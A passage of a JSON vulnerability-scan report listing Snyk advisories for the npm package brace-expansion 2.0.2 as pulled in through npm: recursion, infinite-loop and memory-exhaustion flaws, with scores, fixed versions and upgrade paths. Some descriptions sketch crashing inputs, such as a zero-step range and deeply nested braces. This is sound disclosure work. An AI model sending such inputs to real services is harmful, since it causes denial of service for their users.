"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
